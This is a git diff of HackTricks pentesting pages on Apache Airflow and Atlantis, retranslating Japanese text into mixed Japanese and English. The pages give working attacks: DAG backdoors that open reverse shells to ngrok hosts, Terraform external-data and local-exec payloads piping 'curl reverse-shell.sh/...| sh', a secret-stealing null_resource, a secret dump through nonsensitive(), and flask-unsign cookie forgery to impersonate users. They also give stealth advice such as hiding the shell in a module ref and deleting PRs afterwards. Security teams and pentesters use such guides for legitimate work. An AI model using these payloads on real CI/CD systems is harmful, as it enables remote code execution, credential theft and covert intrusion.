diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 33cc2b8d4..2641b909b 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -2,21 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -### 基本情報 +### Basic Information -[**Apache Airflow**](https://airflow.apache.org) は、**データパイプラインやワークフローのオーケストレーションとスケジューリング**のためのプラットフォームとして機能します。データパイプラインの文脈における「オーケストレーション」という用語は、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。 +[**Apache Airflow**](https://airflow.apache.org) は、**data pipelines や workflows を orchestration して schedule するための platform** として機能します。data pipelines の文脈における "orchestration" という用語は、さまざまなソースから発生する複雑な data workflows を配置、調整、管理する process を意味します。これらの orchestrated された data pipelines の主な目的は、processed され consumable な data sets を提供することです。これらの data sets は、business intelligence tools、data science and machine learning models など、big data applications の機能に不可欠な多数の applications で広く利用されています。 -基本的に、Apache Airflowは、**何かが起こったときにコードの実行をスケジュールすることを可能にします**（イベント、cron）。 +要するに、Apache Airflow は、**何か** (event, cron) **が起きたときに code の execution を schedule できるようにする**ものです。 -### ローカルラボ +### Local Lab #### Docker-Compose -[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) からの**docker-compose設定ファイルを使用して**、完全なapache airflow docker環境を起動できます。（MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当てることを確認してください）。 +[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) の **docker-compose config file** を使って、完全な apache airflow docker environment を起動できます。(MacOS の場合は、docker VM に少なくとも 6GB の RAM を割り当ててください)。 #### Minikube -**apache airflowを実行する**簡単な方法の一つは、**minikubeで実行することです**: +apache airfloｗ を **run** する簡単な方法の一つは、**minikube を使って**実行することです: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -26,9 +26,9 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` -### Airflowの設定 +### Airflow Configuration -Airflowはその設定に**機密情報**を保存する可能性があり、または弱い設定が存在することがあります： +Airflow は、その設定内に **sensitive information** を保存している可能性があり、weak configurations が存在することもあります: {{#ref}} airflow-configuration.md @@ -36,48 +36,48 @@ airflow-configuration.md ### Airflow RBAC -Airflowを攻撃する前に、**権限の仕組み**を理解する必要があります： +Airflow を攻撃し始める前に、**how permissions work** を理解しておく必要があります: {{#ref}} airflow-rbac.md {{#endref}} -### 攻撃 +### Attacks -#### ウェブコンソールの列挙 +#### Web Console Enumeration -**ウェブコンソールにアクセス**できる場合、以下の情報の一部またはすべてにアクセスできる可能性があります： +**web console への access** がある場合、以下の情報の一部または全部に access できる可能性があります: -- **変数**（カスタムの機密情報がここに保存される可能性があります） -- **接続**（カスタムの機密情報がここに保存される可能性があります） -- `http:///connection/list/`でアクセス -- [**設定**](./#airflow-configuration)（**`secret_key`**やパスワードなどの機密情報がここに保存される可能性があります） -- **ユーザーと役割のリスト** -- **各DAGのコード**（興味深い情報が含まれている可能性があります） +- **Variables** (Custom sensitive information might be stored here) +- **Connections** (Custom sensitive information might be stored here) +- Access them in `http:///connection/list/` +- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) +- List **users & roles** +- **Code of each DAG** (which might contain interesting info) -#### 変数の値を取得 +#### Retrieve Variables Values -変数はAirflowに保存され、**DAG**がその値に**アクセス**できるようになります。他のプラットフォームの秘密に似ています。**十分な権限**があれば、`http:///variable/list/`のGUIでアクセスできます。\ -AirflowはデフォルトでGUIに変数の値を表示しますが、[**これ**](https://marclamberti.com/blog/variables-with-apache-airflow/)によると、**値**が**アスタリスク**として表示される**変数のリスト**を設定することが可能です。 +Variables は Airflow に保存でき、**DAGs** がその値に **access** できます。これは他の platform の secrets に似ています。十分な **permissions** があれば、GUI の `http:///variable/list/` で access できます。\ +Airflow はデフォルトで GUI に variable の値を表示しますが、[**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) によると、**values** が **GUI** 上で **asterisks** として表示される **variables の list** を設定できます。 -![](<../../images/image (164).png>) +![Airflow Variables page showing AWS_ACCESS_KEY_ID and a masked AWS_SECRET_ACCESS_KEY](<../../images/image (164).png>) -しかし、これらの**値**は**CLI**（DBアクセスが必要）、**任意のDAG**の実行、**API**を介して変数エンドポイントにアクセスすること（APIは有効化する必要があります）、さらには**GUI自体**からも**取得**できます！\ -GUIからこれらの値にアクセスするには、アクセスしたい**変数を選択**し、**アクション -> エクスポート**をクリックします。\ -別の方法は、**検索フィルタリング**を使用して**隠された値**に対して**ブルートフォース**を行い、それを取得することです： +ただし、これらの **values** は、**CLI**（DB access が必要）、**arbitrary DAG** の実行、variables endpoint への **API** access（API を有効化する必要があります）、そして **GUI 自体** からでも取得できます!\ +GUI からこれらの値に access するには、access したい **variables を select** し、**Actions -> Export** を **click** するだけです。\ +もう一つの方法は、**search filtering** を使って **hidden value** を **bruteforce** し、取得できるまで試すことです: -![](<../../images/image (152).png>) +![Airflow Variables search filter returning the AWS_SECRET_ACCESS_KEY variable](<../../images/image (152).png>) -#### 権限昇格 +#### Privilege Escalation -**`expose_config`**設定が**True**に設定されている場合、**ユーザー役割**以上の権限を持つ者は**ウェブで設定を読み取る**ことができます。この設定には**`secret_key`**が含まれており、これに有効なユーザーは**他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。 +**`expose_config`** 設定が **True** に設定されている場合、**User role** 以上は web 上の **config** を **read** できます。この config には **`secret_key`** が表示されるため、この有効な値を持つ任意のユーザーは、自分自身の signed cookie を作成して、他の任意の user account を impersonate できます。 ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` -#### DAG Backdoor (RCE in Airflow worker) +#### DAG Backdoor (Airflow worker での RCE) -もし**DAGが保存されている場所**に**書き込みアクセス**がある場合、**リバースシェルを送信する**ものを**作成する**ことができます。\ -このリバースシェルは**airflow worker container**内で実行されることに注意してください： +**DAGs が保存される**場所に **write access** があるなら、**reverse shell** を送信する **DAG** をそのまま **作成**できます。\ +この reverse shell は **airflow worker container** 内で実行されることに注意してください: ```python import pendulum from airflow import DAG @@ -116,9 +116,9 @@ python_callable=rs, op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ) ``` -#### DAG バックドア (Airflow スケジューラにおける RCE) +#### DAG Backdoor (RCE in Airflow scheduler) -コードのルートで何かを**実行するように設定**すると、この記事を書いている時点で、それは**スケジューラによって実行されます**。DAG のフォルダに配置してから数秒後に実行されます。 +コードの**ルートで実行される**ように何かを設定すると、本書執筆時点では、それをDAGのフォルダ内に置いてから数秒後に**scheduler**によって**実行される**。 ```python import pendulum, socket, os, pty from airflow import DAG @@ -142,24 +142,24 @@ task_id='rs_python2', python_callable=rs, op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` -#### DAGの作成 +#### DAG Creation -もし**DAGクラスター内のマシンを侵害することができれば**、`dags/`フォルダーに新しい**DAGスクリプト**を作成でき、それが**DAGクラスター内の他のマシンに複製されます**。 +もしあなたが **DAG cluster 内の machine を compromise** できれば、`dags/` フォルダに新しい **DAGs scripts** を作成でき、それらは **DAG cluster 内の残りの machine に replicate** されます。 -#### DAGコードインジェクション +#### DAG Code Injection -GUIからDAGを実行するときに**引数を渡す**ことができます。\ -したがって、DAGが適切にコーディングされていない場合、**コマンドインジェクションに対して脆弱である可能性があります。**\ -これがこのCVEで起こったことです: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) +GUI から DAG を実行するとき、その DAG に **arguments** を渡すことができます。\ +したがって、DAG が適切にコーディングされていない場合、**Command Injection に脆弱** である可能性があります。\ +これはこの CVE で起きたことです: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -**DAG内のコマンドインジェクションを探し始めるために知っておくべきことは**、**パラメータ**が**コード`dag_run.conf.get("param_name")`で**アクセスされるということです。 +**DAGs で command injections を探し始める** ために知っておくべきことは、**parameters** はコード **`dag_run.conf.get("param_name")`** で **accessed** されるということだけです。 -さらに、同じ脆弱性が**変数**にも発生する可能性があります（十分な権限があれば、GUIで**変数の値を制御できる**ことに注意してください）。変数は**次のようにアクセスされます**: +さらに、同じ vulnerability は **variables** でも発生する可能性があります（十分な privileges があれば、GUI で **variables の value を control** できることに注意してください）。Variables は次のように **accessed with**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` -例えば、bashコマンド内で使用される場合、コマンドインジェクションを実行することができます。 +たとえば bash コマンド内で使われている場合、command injection を実行できます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 415425493..9fb09355b 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -4,109 +4,109 @@ ### 基本情報 -Atlantisは基本的に、あなたのgitサーバーからのプルリクエストからterraformを実行するのを助けます。 +Atlantis は基本的に、git server の Pull Request から terraform を実行するのを助けます。 -![](<../images/image (161).png>) +![Atlantis pull request workflow showing plan and apply comments in the PR lifecycle](<../images/image (161).png>) ### ローカルラボ -1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases)の**atlantisリリースページ**に行き、あなたに合ったものを**ダウンロード**します。 -2. **github**ユーザーの**パーソナルトークン**（リポジトリアクセス付き）を作成します。 -3. `./atlantis testdrive`を実行すると、**atlantisと対話するために使用できるデモリポジトリ**が作成されます。 -1. 127.0.0.1:4141でウェブページにアクセスできます。 +1. **atlantis releases page** に [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) でアクセスし、自分に合うものを **ダウンロード** する。 +2. **github** ユーザーの、repo access 付きの **personal token** を作成する +3. `./atlantis testdrive` を実行すると、**atlantis と話す**ために使える **demo repo** が作成される +1. 127.0.0.1:4141 で web page にアクセスできる -### Atlantisアクセス +### Atlantis Access -#### Gitサーバーの資格情報 +#### Git Server Credentials -**Atlantis**は**Github**、**Gitlab**、**Bitbucket**、**Azure DevOps**などの複数のgitホストをサポートしています。\ -ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するには、いくつかの**特権アクセスが付与される必要があります**（少なくとも書き込み権限）。\ -[**ドキュメント**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)では、Atlantis専用のユーザーをこれらのプラットフォームで作成することを推奨していますが、一部の人は個人アカウントを使用するかもしれません。 +**Atlantis** は **Github**, **Gitlab**, **Bitbucket**, **Azure DevOps** など複数の git host をサポートします。\ +ただし、それらの platform 上の repo にアクセスして操作を実行するには、ある程度の **privileged access** を付与する必要があります（少なくとも write permissions）。\ +[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) では、Atlantis 専用の user をこれらの platform 上に作成することが推奨されていますが、personal account を使う人もいます。 > [!WARNING] -> いずれにせよ、攻撃者の視点から見ると、**Atlantisアカウント**は非常に**興味深い****攻撃対象**となるでしょう。 +> いずれにせよ、attacker の視点では、**Atlantis account** は **侵害したい** とても **興味深い** 対象になります。 -#### Webhook +#### Webhooks -Atlantisはオプションで[**Webhookシークレット**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)を使用して、Gitホストから受信する**webhook**が**正当である**ことを検証します。 +Atlantis は、Git host から受け取る **webhooks** が **正当** であることを検証するために、[**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) をオプションで使用します。 -これを確認する方法の一つは、**GitホストのIPからのみリクエストを許可する**ことですが、より簡単な方法はWebhookシークレットを使用することです。 +これを確認する 1 つの方法は、**Git host の IPs からのみリクエストを allowlist** することですが、より簡単な方法は Webhook Secret を使うことです。 -プライベートなgithubやbitbucketサーバーを使用しない限り、webhookエンドポイントをインターネットに公開する必要があることに注意してください。 +private github または bitbucket server を使っていない限り、webhook endpoint を Internet に公開する必要がある点に注意してください。 > [!WARNING] -> Atlantisは**webhookを公開**するため、gitサーバーが情報を送信できるようにします。攻撃者の視点からは、**メッセージを送信できるかどうかを知ることが興味深い**でしょう。 +> Atlantis は git server が情報を送れるように **webhooks を公開** することになります。attacker の視点では、**メッセージを送れるか** を知るのは興味深いでしょう。 -#### プロバイダー資格情報 +#### Provider Credentials -[ドキュメントから:](https://www.runatlantis.io/docs/provider-credentials.html) +[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantisは、サーバー**Atlantisがホストされている**上で`terraform plan`および`apply`コマンドを単純に**実行することによってTerraformを実行します**。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。 +Atlantis は、**Atlantis がホストされている** server 上で `terraform plan` と `apply` コマンドを単純に **実行** することで Terraform を動かします。ローカルで Terraform を実行する場合と同様に、Atlantis には使用する provider 用の credentials が必要です。 -Atlantisに特定のプロバイダーの資格情報を[提供する方法](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)はあなた次第です： +Atlantis に対して特定の provider の [credentials を提供する](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) 方法は自由です: -- Atlantisの[Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart)と[AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)には、プロバイダー資格情報のための独自のメカニズムがあります。ドキュメントを読んでください。 -- クラウドでAtlantisを実行している場合、多くのクラウドには、実行中のアプリケーションにクラウドAPIアクセスを提供する方法があります。例： -- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)（"EC2 Role"を検索） -- [GCEインスタンスサービスアカウント](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- 多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例：`AWS_ACCESS_KEY` -- 他のユーザーは、Atlantisが実行されている場所で必要な設定ファイルを作成します。例：`~/.aws/credentials` -- [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)を使用してプロバイダー資格情報を取得します。 +- Atlantis の [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) と [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) には、provider credentials 用の独自の仕組みがあります。docs を読んでください。 +- cloud 上で Atlantis を動かしているなら、その cloud には上で動く application に cloud API access を与える方法があることが多いです。例: +- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)（"EC2 Role" を検索） +- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- 多くの user は、Atlantis が動いている場所に `AWS_ACCESS_KEY` などの environment variables を設定します。 +- 他の人は、Atlantis が動いている場所に `~/.aws/credentials` などの必要な config files を作成します。 +- [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) を使って provider credentials を取得します。 > [!WARNING] -> **Atlantisが**実行されている**コンテナ**には、AtlantisがTerraformを介して管理しているプロバイダー（AWS、GCP、Githubなど）への**特権資格情報**が含まれている可能性が非常に高いです。 +> **Atlantis** が **動作している** **container** には、Atlantis が Terraform で管理している provider（AWS, GCP, Github...）への特権 credentials が高い確率で **含まれています**。 -#### ウェブページ +#### Web Page -デフォルトでは、Atlantisは**localhostのポート4141でウェブページを実行します**。このページでは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することができます（変更を加えることはできないため、それほど便利ではありません）。 +デフォルトでは Atlantis は localhost の port 4141 で **web page** を動かします。これは、atlantis apply の有効/無効を切り替えたり、repo の plan status を確認して unlock するだけのものです（変更はできないので、それほど有用ではありません）。 -インターネットに公開されていることはないと思いますが、デフォルトでは**アクセスするために資格情報は必要ないようです**（必要な場合は`atlantis`:`atlantis`が**デフォルト**のものです）。 +Internet には公開されていない可能性が高いですが、デフォルトではアクセスに **credentials が不要** なようです（必要な場合でも、**デフォルト** は `atlantis`:`atlantis` です）。 -### サーバー構成 +### Server Configuration -`atlantis server`の構成は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの組み合わせを介して指定できます。 +`atlantis server` の configuration は、command line flags、environment variables、config file、またはその 3 つの組み合わせで指定できます。 -- Atlantisサーバーがサポートする[**フラグのリスト**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)をここで見つけることができます。 -- [**環境変数に設定オプションを変換する方法**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)をここで見つけることができます。 +- Atlantis server がサポートする [**flags の一覧はここ**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) で確認できます +- config option を env var に変換する方法は [**ここ**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) で確認できます -値は**この順序で選択されます**： +値は次の順序で **選択** されます: -1. フラグ -2. 環境変数 -3. 設定ファイル +1. Flags +2. Environment Variables +3. Config File > [!WARNING] -> 構成の中には、**トークンやパスワード**などの興味深い値が含まれている可能性があることに注意してください。 +> configuration の中には、**tokens や passwords** のような興味深い値が含まれている可能性があります。 -#### リポジトリ構成 +#### Repos Configuration -いくつかの構成は**リポジトリの管理方法に影響を与えます**。ただし、**各リポジトリが異なる設定を必要とする可能性があるため**、各リポジトリを指定する方法があります。これが優先順位です： +いくつかの configuration は、**repo の管理方法** に影響します。しかし、**各 repo に異なる設定が必要** な場合があるため、repo ごとに指定する方法があります。優先順は次のとおりです: -1. リポジトリ[**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config)ファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはフラグなしではここに指定できません。 -1. おそらく`allowed_overrides`や`allow_custom_workflows`のようなフラグによって許可される必要があります。 -2. [**サーバーサイド構成**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)：フラグ`--repo-config`で渡すことができ、各リポジトリの新しい設定を構成するyamlです（正規表現がサポートされています）。 -3. **デフォルト**の値 +1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file。この file は、atlantis が repo をどう扱うかを指定するために使えます。ただし、デフォルトでは一部の key は、許可する flags がないとここで指定できません。 +1. おそらく `allowed_overrides` や `allow_custom_workflows` のような flags によって許可される必要があります +2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` flag で渡せます。これは各 repo の新しい settings を設定する yaml です（regexes 対応） +3. **Default** values -**PR保護** +**PR Protections** -Atlantisは、**PR**が他の誰かによって**`承認`**されることを望むかどうか（ブランチ保護に設定されていなくても）および/または**`マージ可能`**（ブランチ保護が通過した）であることを示すことを許可します**applyを実行する前に**。セキュリティの観点から、両方のオプションを設定することが推奨されます。 +Atlantis では、**apply を実行する前** に PR が他の誰かによって **`approved`** されていること（branch protection に設定されていなくても）や、**`mergeable`** であること（branch protections を通過していること）を指定できます。security の観点では、両方の option を設定することが推奨されます。 -`allowed_overrides`がTrueの場合、これらの設定は**各プロジェクトの`/atlantis.yml`ファイルで上書きできます**。 +`allowed_overrides` が True の場合、これらの setting は **`/atlantis.yml` file によって各 project で上書き** できます。 -**スクリプト** +**Scripts** -リポジトリ構成は、**ワークフローが実行される前に**[**実行するスクリプト**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)（_プレワークフローフック_）と[**実行した後に**](https://www.runatlantis.io/docs/post-workflow-hooks.html)（_ポストワークフローフック_）を指定できます。 +repo config では、workflow が **実行される前**（_pre workflow hooks_）と **実行された後**（_post workflow hooks_）に実行する scripts を **指定** できます。 -リポジトリの`/atlantis.yml`ファイルでこれらのスクリプトを**指定する**オプションはありません。 +repo の `/atlantis.yml` file でこれらの scripts を **指定する** option はありません。ただし、実行する script が同じ repo 内にある場合、PR でその content を **変更して任意の code を実行させる** ことが可能です。 -**ワークフロー** +**Workflow** -リポジトリ構成（サーバーサイド構成）では、[**新しいデフォルトワークフローを指定**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)したり、[**新しいカスタムワークフローを作成**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**することができます。**また、**どのリポジトリ**が生成された**新しい**ものにアクセスできるかを**指定することもできます。\ -その後、各リポジトリの**atlantis.yaml**ファイルが**使用するワークフローを指定する**ことを許可できます。 +repo config（server side config）では、[**新しい default workflow を指定する**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) か、[**新しい custom workflows を作成する**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows) ことができます。さらに、**新しく生成されたものにアクセスできる repos** を **指定** することもできます。\ +その後、各 repo の **atlantis.yaml** file に、使用する workflow を **指定** できるようにできます。 > [!CAUTION] -> [**サーバーサイド構成**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、ワークフローは各リポジトリの**`atlantis.yaml`**ファイルで**指定できます**。また、**`allowed_overrides`**が**`workflow`**を指定して、使用されるワークフローを**上書きする**必要がある可能性もあります。\ -> これは基本的に、**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。 +> [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) の flag `allow_custom_workflows` が **True** に設定されている場合、各 repo の **`atlantis.yaml`** file で workflows を **指定** できます。さらに、使用される workflow を **override** するために、**`allowed_overrides`** が **`workflow`** も指定している必要がある場合があります。\ +> これは実質的に、**その repo にアクセスできる任意の user に Atlantis server 上の RCE を与える** ことになります。 > > ```yaml > # atlantis.yaml @@ -124,20 +124,20 @@ Atlantisは、**PR**が他の誰かによって**`承認`**されることを望 > steps: - run: my custom apply command > ``` -**Conftestポリシーチェック** +**Conftest Policy Checking** -Atlantisは、**サーバーサイド**で[**conftest**](https://www.conftest.dev/)**ポリシー**をプラン出力に対して実行することをサポートしています。このステップを使用する一般的なユースケースには以下が含まれます： +Atlantis は plan output に対して、server-side の [**conftest**](https://www.conftest.dev/) **policies** を実行することをサポートしています。この step の一般的な usecases には次のようなものがあります: -- モジュールのリストの使用を拒否する -- リソースの作成時に属性を主張する -- 意図しないリソース削除をキャッチする -- セキュリティリスクを防ぐ（例：安全なポートを公開すること） +- 一覧の modules の使用を拒否する +- 作成時点で resource の attributes を検証する +- 意図しない resource deletions を検出する +- security risks を防ぐ（例: secure ports を public に公開する） -[**ドキュメント**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works)で設定方法を確認できます。 +設定方法は [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) で確認できます。 -### Atlantisコマンド +### Atlantis Commands -[**ドキュメント**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis)には、Atlantisを実行するために使用できるオプションが記載されています： +[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) では、Atlantis を実行するために使える option を確認できます: ```bash # Get help atlantis help @@ -163,59 +163,59 @@ atlantis apply [options] -- [terraform apply flags] ### 攻撃 > [!WARNING] -> もし攻撃中にこの**エラー**が表示された場合: `Error: Error acquiring the state lock` +> exploitation 中にこの **error** が出る場合: `Error: Error acquiring the state lock` -次のコマンドを実行することで修正できます: +次のコマンドを実行して修正できます: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` -#### Atlantis plan RCE - 新しいPRでの設定変更 +#### Atlantis plan RCE - Config modification in new PR -リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis plan`を実行できる場合**（または自動的に実行されるかもしれません）、**Atlantisサーバー内でRCEを実行できるようになります**。 +リポジトリに write access がある場合、その上で新しい branch を作成して PR を生成できます。**`atlantis plan` を実行できる**（または自動的に実行される）場合、**Atlantis server 内で RCE** できます。 -これは、[**Atlantisに外部データソースを読み込ませる**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)ことで実現できます。次のようなペイロードを`main.tf`ファイルに入れるだけです： +これは [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) を使って行えます。`main.tf` ファイルに次のような payload を入れるだけです: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**ステルス攻撃** +**よりステルスなAttack** -この攻撃を**よりステルス的に**実行するには、次の提案に従ってください： +以下の提案に従えば、このAttackを**よりステルスな方法**でも実行できます: -- rev shellをterraformファイルに直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます： +- rev shell を直接 terraform file に追加する代わりに、rev shell を含む**外部 resource をload**できます: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) で rev shell コードを見つけることができます。 +You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- 外部リソースでは、**ref** 機能を使用して、リポジトリ内の **ブランチにある terraform rev shell コード** を隠します。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` のようにします。 -- **マスターへの PR を作成する代わりに**、**2つのブランチ**（test1 と test2）を作成し、**一方からもう一方への PR を作成します**。攻撃が完了したら、**PR とブランチを削除します**。 +- external resource では、**ref** feature を使って、repo 内の branch にある **terraform rev shell code** を隠してください。例えば: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **master への PR を作成して** Atlantis を trigger する **代わりに**、**2 つの branches**（test1 と test2）を作成し、**一方からもう一方への PR** を作成します。attack を完了したら、**PR と branches を削除**してください。 -#### Atlantis プラン シークレット ダンプ +#### Atlantis plan Secrets Dump -`atlantis plan`（`terraform plan`）を実行することで、**terraform に使用されるシークレットをダンプ**できます。terraform ファイルにこのようなものを入れます： +`atlantis plan`（`terraform plan`）を実行することで、terraform が使う secrets を **dump** できます。terraform file に次のようなものを入れてください: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - 新しいPRでの設定変更 +#### Atlantis apply RCE - Config modification in new PR -リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis apply`を実行できる場合、Atlantisサーバー内でRCEが可能になります**。 +リポジトリに write access がある場合、その上で新しい branch を作成して PR を生成できます。**`atlantis apply` を実行できれば、Atlantis server 内で RCE を実現できます。** -ただし、通常はいくつかの保護を回避する必要があります： +ただし、通常はいくつかの protections を回避する必要があります: -- **マージ可能**: この保護がAtlantisに設定されている場合、**PRがマージ可能な場合にのみ`atlantis apply`を実行できます**（これはブランチ保護を回避する必要があることを意味します）。 -- 潜在的な[**ブランチ保護の回避**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)を確認してください。 -- **承認済み**: この保護がAtlantisに設定されている場合、**他のユーザーがPRを承認する必要があります**。その後、`atlantis apply`を実行できます。 -- デフォルトでは、[**Gitbotトークンを使用してこの保護を回避することができます**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)。 +- **Mergeable**: Atlantis でこの protection が設定されている場合、PR が mergeable のときにのみ **`atlantis apply`** を実行できます（つまり、branch protection を bypass する必要があります）。 +- 考えられる [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) を確認してください +- **Approved**: Atlantis でこの protection が設定されている場合、**別の user が PR を approve** するまで `atlantis apply` を実行できません +- デフォルトでは、[**Gitbot token を悪用してこの protection を bypass する**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) ことができます -悪意のあるTerraformファイルで**`terraform apply`を実行することができます**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**。**\ -`main.tf`ファイルに以下のようなペイロードが含まれていることを確認する必要があります： +[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** を使った悪意ある Terraform file に対する **`terraform apply`** の実行。**\ +以下のような payload のいずれかが `main.tf` file に入るようにするだけで十分です: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -前の技術からの**提案に従って**、この攻撃を**よりステルス的な方法**で実行します。 +前の technique の **suggestions** に従って、この attack をより **stealthier** に実行します。 -#### Terraform パラメータインジェクション +#### Terraform Param Injection -`atlantis plan` または `atlantis apply` を実行すると、terraform が内部で実行されます。atlantis から terraform にコマンドを渡すには、次のようにコメントします: +`atlantis plan` または `atlantis apply` を実行する際、terraform は under-the-hood で実行されます。atlantis から次のようにコメントすることで、terraform に commands を渡すことができます: ```bash atlantis 